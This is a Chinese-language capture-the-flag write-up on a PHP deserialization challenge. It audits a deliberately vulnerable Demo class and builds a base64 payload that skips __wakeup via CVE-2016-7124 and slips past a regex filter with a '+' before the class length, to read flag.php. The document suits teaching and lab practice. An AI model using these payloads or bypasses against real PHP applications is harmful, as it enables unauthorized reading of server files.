我認為,無論是學習安全還是從事安全的人,多多少少都有些許的情懷和使命感!!!
文章目錄
- PHP反序列化漏洞
- level5-[本地復現]-[+的利用]-[私有屬性的序列化]-[base64編碼]
- 1.題目描述
- 2.代碼審計
- 3.解題程序
- 4.總結
PHP反序列化漏洞
level5-[本地復現]-[+的利用]-[私有屬性的序列化]-[base64編碼]
1.題目描述
<?php
class Demo {
private $file = 'level-5-local.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'level-5-local.php') {
//the secret is in the flag.php
$this->file = 'level-5-local.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("level-5-local.php");
}
?>
2.代碼審計
通讀代碼:
<?php
class Demo { // 定義一個以Demo為名的類
private $file = 'level-5-local.php'; // 定義一個以file為名的私有屬性,賦值為當前頁面
public function __construct($file) { // 定義一個以file屬性為引數的公有構造方法
$this->file = $file; // 構造方法:當前類的實體化物件被創建的時候,自動被呼叫,從而進行屬性初始化
}
function __destruct() { // 定義一個析構方法
echo @highlight_file($this->file, true);
// 析構方法:當前類的實體化物件被銷毀前,自動被呼叫,從而高亮顯示以file屬性為名的檔案原始碼
}
function __wakeup() { // 定義一個魔術方法wakeup,當前類的實體化物件被反序列化的時候,自動被呼叫
if ($this->file != 'level-5-local.php') { // 判斷file屬性的值是否為level-5-local.php
//the secret is in the flag.php // 提示flag位于flag.php頁面的中,
// 猜測是注釋,需要讀取頁面原始碼
$this->file = 'level-5-local.php'; // 若file屬性的值不為當前頁面,就賦值為當前頁面
}
}
}
if (isset($_GET['var'])) { // 判斷是否以GET形式提交了引數給var,或提交的引數是否為NULL
$var = base64_decode($_GET['var']); // 若提交了且不為NULL,則對傳入的引數進行base64解碼
if (preg_match('/[oc]:\d+:/i', $var)) { // 正則匹配,過濾序列化字串
die('stop hacking!'); // 若匹配正則成功,輸出stop hacking!并且直接退出腳本
} else {
@unserialize($var); // 否則,反序列化字串,然后會自動的去執行wakeup方法
}
} else { // 否則,也就是沒有提交引數或提交的引數為NULL
highlight_file("level-5-local.php"); // 高亮顯示當前頁面level-5-local.php的原始碼
}
?>
從上到下,依次分析所得:
-
flag值位于:flag.php頁面內,猜測是以注釋的方式存盤,所以需要讀取頁面原始碼
-
Demo類的析構方法,會高亮顯示以file私有屬性的值為名的檔案的頁面原始碼
-
Demo類的wakeup方法,會強制的把file屬性的值修改為當前level5-local.php頁面
-
后臺對用戶傳入的引數進行base64解碼,因此我們在傳入序列化字串之前要進行base64編碼,也就變相的繞過了私有屬性在序列化時候產生的不可見字符\00了
-
后臺對我們傳入的序列化字串進行了正則匹配的過濾,首先要看得懂:if (preg_match(’/[oc]:\d+:/i’, $var))
/ 正則匹配開始的標志 [oc] 匹配o或者c \d 匹配任意一個10進制的數 + 匹配前面的字符 1-N 次 / 正則匹配結束的標志 i 表示不區分大小寫 -
反序列化我們傳入的引數,會自動呼叫wakeup方法,從而強制的把file屬性的值修改為當前level5-local.php頁面
四要素分析:
- **后臺存在反序列函式:**會觸發wakeup魔術方法,強制的把file屬性修改為當前頁面,我們可以利用CVE-2016-7124漏洞,從而使反序列化的時候繞過該魔術方法
- **后臺存在不正當使用魔術方法的行為:**析構方法會高亮顯示以file私有屬性的值為名的檔案的頁面原始碼
- **后臺存在highlight_file()函式:**可以讀取頁面原始碼
- 用戶對傳入的反序列化的內容可控:使用+繞過正則匹配
3.解題程序
第一步:分析流程
- 要想獲得flag值,需要讀取flag.php頁面的原始碼
- 要想讀取flag.php頁面的原始碼,需要執行析構方法且file屬性的值為flag.php,同時不能執行wakeup魔術方法
- 想要執行析構方法且file屬性的值為flag.php,需要傳入當前類且屬性值為flag.php的實體化物件,注意需要繞過正則對我們傳入的序列化的過濾
- 想要在反序列化的時候不執行wakeup魔術方法,只要利用CVE-2016-7124漏洞即可
- 想要繞過正則的過濾,只需要在類名長度的前面加上一個+即可,注意正號對反序列化的時候無影響
- 注意:最后我們需要把傳入的序列化字串進行base64編碼,因為后臺會base64解碼
第二步:根據以上步驟構造payload
<?php
class Demo {
private $file = 'flag.php';
}
$chen = new Demo();
$chen = serialize($chen);
echo $chen."<br />";
$chen = str_replace(':1:',':2:',$chen); // 繞過wakeup:CVE-2016-7124
$chen = str_replace('O:4','O:+4',$chen); // 繞過正則:在類名的長度前面加上一個+
echo $chen."<br />";
$chen = base64_encode($chen);
echo $chen;
//TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
?>
payload:
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
第三步:傳入payload,讀取flag.php頁面原始碼,得到flag
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-YZBFeSLZ-1640613918489)(D:\☆學習\share\02OWASP-TOP10系統學習\A08-不安全的反序列化-PHP反序列化\images\15.png)]](https://img.uj5u.com/2021/12/29/292817290727421.png)
4.總結
- 序列化后:類名的長度前面可以加上一個+,既可以繞過正則,也不會影響反序列化的進行
- CVE-2016-7124繞過wakeup
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/396090.html
標籤:其他
上一篇:學習Java對網路安全的重要性
